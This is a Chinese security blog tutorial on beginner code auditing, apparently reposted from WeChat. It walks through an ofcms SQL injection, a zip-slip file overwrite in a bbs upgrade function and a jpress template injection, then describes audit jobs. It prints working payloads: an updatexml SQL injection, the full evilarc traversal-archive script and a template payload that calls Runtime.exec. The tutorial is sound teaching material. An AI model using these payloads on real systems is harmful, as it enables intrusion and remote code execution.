代码审计初级项目示例

admin 2024年5月14日20:50:01评论37 views字数 8018阅读26分43秒阅读模式

今天文章前面是讲几个代码审计初级项目审计示例,最后一部分是代码审计实际的工作内容。

最近审计的项目都是按照下面步骤来的,因为项目规模较小。中等规模以上的项目就需要再增加一些步骤了。

审计大致思路:

  • 1.了解项目目录分布,和项目框架结构,类型

  • 2.观察功能,以及对应的路由

  • 3.使用代码审计工具进行扫描,综合扫描结果-漏洞函数

  • 4.结合 3 扫描结果 以及 2 中项目功能/路由,分析漏洞函数是否为真,然后是怎么从功能对应的路由汇集到漏洞函数去的

  • 5.……

为什么要观察功能呢,因为大部分漏洞函数都是因为功能代码产生的,还有一些是功能交接过程中隐藏产生的。还有功能可以让你联想到 poc 怎么利用更好。

1

ofcms sql 注入

它这个 sql 注入,是因为参数传递区别导致预编译没有使用上。如果不仔细看,容易忽略,因为它代码里基本上所有功能点里有 sql 交互的地方都用上了预编译。而且预编译写法还算正确。

功能点 :后台-创建表

功能函数:

/** * 创建表 */public void create() {try {String sql = getPara("sql");Db.update(sql);rendSuccessJson();} catch (Exception e) {e.printStackTrace();rendFailedJson(ErrorCode.get("9999"), e.getMessage());}}

功能数据流分析:首先是利用 getPara 获取前台的参数 sql,getPara 没有对参数进行任何处理,然后就直接调用 Db.updata(sql)开始执行 sql 了。

下面是 updata 相关的执行代码:Db.update 里又会执行一个新的 update,并且传参一个空的没有内容 Object->>这个 update 里是做数据库连接用->>然后又执行一个新的 update 函数->>这个函数中使用 config.dialect.fillStatement(pst, paras)。

fillStatement:这里使用了 Preparement.setobject 把 paras 按占位符传入 sql 语句->>然后执行 sql。

这里就是因为没有 paras 参数导致的 sql 注入。就是我们直接传参,没有使用占位符,自然预编译也就没有发挥作用啦。

网上的 poc: update of_cms_ad set ad_name=updatexml(1,concat(0x7e,(database())),0) where ad_id=2

public int update(String sql) {    return update(sql, DbKit.NULL_PARA_ARRAY);  }public int update(String sql, Object... paras) {    Connection conn = null;    try {      conn = this.config.getConnection();      return update(this.config, conn, sql, paras);    } catch (Exception e) {      throw new ActiveRecordException(e);    } finally {      this.config.close(conn);    }   }int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {    PreparedStatement pst = conn.prepareStatement(sql);    config.dialect.fillStatement(pst, paras);    int result = pst.executeUpdate();    DbKit.close(pst);    return result;  }

这个漏洞就是要审计的时候观察参数处理以及传递方式

2

bbs-zipslip 任意文件覆盖漏洞

zipslip 漏洞就是 系统代码没有做限定过滤的情况下,使用原生的 java zip 函数进行解压的时候,压缩包里带有../.././evil 这种文件会自动解压到目录里去,并且能够穿越目录层次到你需要的目录下。很多流行的ZIP解析库和JAVA项目都受到该漏洞影响

这里自己生成poc  evil.zip 可以使用下面的代码:来自于

https://github.com/H4K6/evilarc/blob/main/evilarc.py

import sys, zipfile, tarfile, os, optparsedef main(argv=sys.argv):p = optparse.OptionParser(description = 'Create archive containing a file with directory traversal', prog = 'evilarc',version = '0.1',usage = '%prog <input file>')p.add_option('--output-file', '-f', dest="out", help="File to output archive to.  Archive type is based off of file extension.  Supported extensions are zip, jar, tar, tar.bz2, tar.gz, and tgz.  Defaults to evil.zip.")p.set_default("out", "evil.zip")p.add_option('--depth', '-d', type="int", dest="depth", help="Number directories to traverse. Defaults to 8.")p.set_default("depth", 8)p.add_option('--os', '-o', dest="platform", help="OS platform for archive (win|unix). Defaults to win.")p.set_default("platform", "win")p.add_option('--path', '-p', dest="path", help="Path to include in filename after traversal.  Ex: WINDOWS\System32\")p.set_default("path", "")options, arguments = p.parse_args()fname = arguments[0]if not os.path.exists(fname):sys.exit("Invalid input file")if options.platform == "win":dir = "..\"if options.path and options.path[-1] != '\':options.path += '\'else:dir = "../"if options.path and options.path[-1] != '/':options.path += '/'zpath = dir*options.depth+options.path+os.path.basename(fname)ext = os.path.splitext(options.out)[1]if os.path.exists(options.out):wmode = 'a'else:wmode = 'w'if ext == ".zip" or ext == ".jar":zf = zipfile.ZipFile(options.out, wmode)zf.write(fname, zpath)zf.close()returnelif ext == ".tar":mode = wmodeelif ext == ".gz" or ext == ".tgz":mode = "w:gz"elif ext == ".bz2":mode = "w:bz2"else:sys.exit("Could not identify output archive format for " + ext)tf = tarfile.open(options.out, mode)tf.add(fname, zpath)tf.close()if __name__ == '__main__':     main()

使用命令示例:python poc.py "D:xxxxxxxx6.jsp" -d 4 -o win 具体使用看 git readme

漏洞功能:后台-升级 这个功能(我搭建的项目环境里)系统界面里是不能直接访问到的,需要你自己看代码,然后访问对应路由。

功能代码:ziputil功能类unzip方法:这个方法就直接将压缩文件解压到指定目录了,没有做其他限制。

   /**     * 解压zip文件到指定目录     * @param zipPath 压缩文件     * @param destDir 压缩文件解压后保存的目录     */    public static void unZip(String zipPath, String destDir) {        ZipArchiveInputStream ins = null;        OutputStream os = null;        File zip = new File(zipPath);        if (!zip.exists()) {            return;        }        File dest = new File(destDir);        if (!dest.exists()) {            dest.mkdirs();        }        destDir=formatDirPath(destDir);        try {            ins = new ZipArchiveInputStream(new BufferedInputStream(new FileInputStream(zipPath)), "UTF-8");            ZipArchiveEntry entry = null;            while ((entry = ins.getNextZipEntry()) != null) {                if (entry.isDirectory()) {                    File directory = new File(destDir, entry.getName());                    directory.mkdirs();                    directory.setLastModified(entry.getTime());                } else {                    String absPath=formatPath(destDir+entry.getName());                    mkdirsForFile(absPath);                    File tmpFile=new File(absPath);                    os=new BufferedOutputStream(new FileOutputStream(tmpFile));                    IOUtils.copy(ins, os);                    IOUtils.closeQuietly(os);                    tmpFile.setLastModified(entry.getTime());                }            }        } catch (FileNotFoundException e) {            // TODO Auto-generated catch block        //    e.printStackTrace();        if (logger.isErrorEnabled()) {            logger.error("解压zip文件到指定目录",e);        }        } catch (IOException e) {            // TODO Auto-generated catch block        //    e.printStackTrace();        if (logger.isErrorEnabled()) {            logger.error("解压zip文件到指定目录",e);        }        } finally {            IOUtils.closeQuietly(ins);        }    }

升级功能:直接调用 ZipUtil.unZip(updatePackage_path, temp_path);进行解压,

  /** * 立即升级 * @param model * @param updatePackageName 升级包文件名称 * @param request * @param response * @return * @throws Exception */@ResponseBody@RequestMapping(params="method=upgradeNow",method=RequestMethod.POST)public String upgradeNow(ModelMap model,String updatePackageName,HttpServletRequest request, HttpServletResponse response) throws Exception {Map<String,String> error = new HashMap<String,String>();Long count = upgradeManage.taskRunMark_add(-1L);if(count >=0L){error.put("upgradeNow", "任务正在运行,不能升级");}else{upgradeManage.taskRunMark_delete();upgradeManage.taskRunMark_add(1L);if(updatePackageName != null && !"".equals(updatePackageName.trim())){//升级包文件路径String updatePackage_path = PathUtil.path()+File.separator+"WEB-INF"+File.separator+"data"+File.separator+"upgrade"+File.separator+FileUtil.toRelativePath(updatePackageName);//临时目录路径String temp_path = PathUtil.path()+File.separator+"WEB-INF"+File.separator+"data"+File.separator+"temp"+File.separator+"upgrade"+File.separator;//读取升级包File updatePackage = new File(updatePackage_path);if (updatePackage.exists()) {//如果文件存在//解压到临时目录try {ZipUtil.unZip(updatePackage_path, temp_path);} catch (Exception e) {error.put("upgradeNow", "解压到临时目录失败");//e.printStackTrace();if (logger.isErrorEnabled()) {            logger.error("解压到临时目录失败",e);        }}

3

jpress 模板注入

文件编辑功能审计

  • 1.任意文件上传

    文件名 上传路径 两个变量有一个可控即可,以及读取访问的时候是否有限制

  • 2.模板解析

    如果文件名 上传路径有做限制,内容可控情况下。可以考虑,文件内容解析漏洞,是不是有模板注入类型存在(需要存在对应解析框架解析方法),以及 xss

漏洞功能点:后台模板文件-编辑功能 .这个就限制了目录穿越,然后存在一个全局过滤器里的后缀 jsp 文件监测,所以只能试试模板注入啦。这里是 velocity 模板解析漏洞。

poc:

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(e=x.getEngineByName("js")) #(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))  

编辑功能:

 public void doEditSave() {        String dirName = getPara("d");        String fileName = getPara("f");        //防止浏览非模板目录之外的其他目录        render404If(dirName != null && dirName.contains(".."));        render404If(fileName.contains("/") || fileName.contains(".."));        Template template = TemplateManager.me().getCurrentTemplate();        if (template == null) {            renderJson(Ret.fail().set("message", "当前模板无法编辑"));            return;        }        File pathFile = template.getAbsolutePathFile();        if (StrUtil.isNotBlank(dirName)) {            pathFile = new File(pathFile, dirName);        }        String fileContent = getOriginalPara("fileContent");        if (StrUtil.isBlank(fileContent)) {            renderJson(Ret.fail().set("message", "不能存储空内容"));            return;        }        File file = new File(pathFile, fileName);        if (!file.canWrite()) {            renderJson(Ret.fail().set("message", "当前文件没有写入权限"));            return;        }        FileUtil.writeString(file, fileContent);        TemplateManager.me().clearCache();        renderOkJson();    }

4

关于代码审计实际工作

在代码审计工作岗位主要是下面几种:

安全服务工程师

岗位数量:比渗透测试方面的安服岗位要少很多的,渗透测试和代码审计比例大概是 10:1

项目需求数量:比渗透测试的需求少,大部分是短期项目,长期项目都是金融领域大公司

项目规模:短期项目周期一般是 3-15-20 这样,长期项目都是驻场

工作要求:短期项目。不需要太高的审计漏洞质量,要求出报告快,因为代码量非常大。长期项目:需要较高的审计质量,因为这种公司基本上都有比较规范的审计流程。两种都是需要和开发掰扯一二,长期项目难掰扯,短期项目好掰扯一些。都是需要有理有据的和开发掰扯的。提供有效的修复建议给开发。

工作内容:审计项目类型分两种,公司自己开发,供应商产品。公司自己开发的除非使用了封装多次的框架,一般来说代码质量要稍微高一毛钱,较容易审计,供应商产品就五花八门啦,因为开发参与人数太多啦,代码框架结构非常混乱,不太容易审计(特别特别清晰的审计出来)。

审计工具,一般来说都是自带+公司购买使用的商业产品。

SDL 安全工程师

这个工作的话,涉及代码审计方面的内容主要是下面两个方面事情。

第一个就是偏安全建设方面啦,关于企业SDL安全开发,企业的SDL安全建设涵盖了从公司产品需求定义的早期阶段,项目立项、开发、测试、上线等各个开发生命周期阶段,直到安全审计以及后期维护的全过程。

第二个方面就是侧重于产品代码审计啦。

接触过一些关于这个岗位,不算很清楚。因为企业规模以及对安全的侧重点不同,不同的公司关于这块的都不一样。

red team

挖 0day 以及攻防演练时提供审计支持。

原文始发于微信公众号(天才少女Alpha):代码审计初级项目示例

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月14日20:50:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计初级项目示例http://cn-sec.com/archives/2071858.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息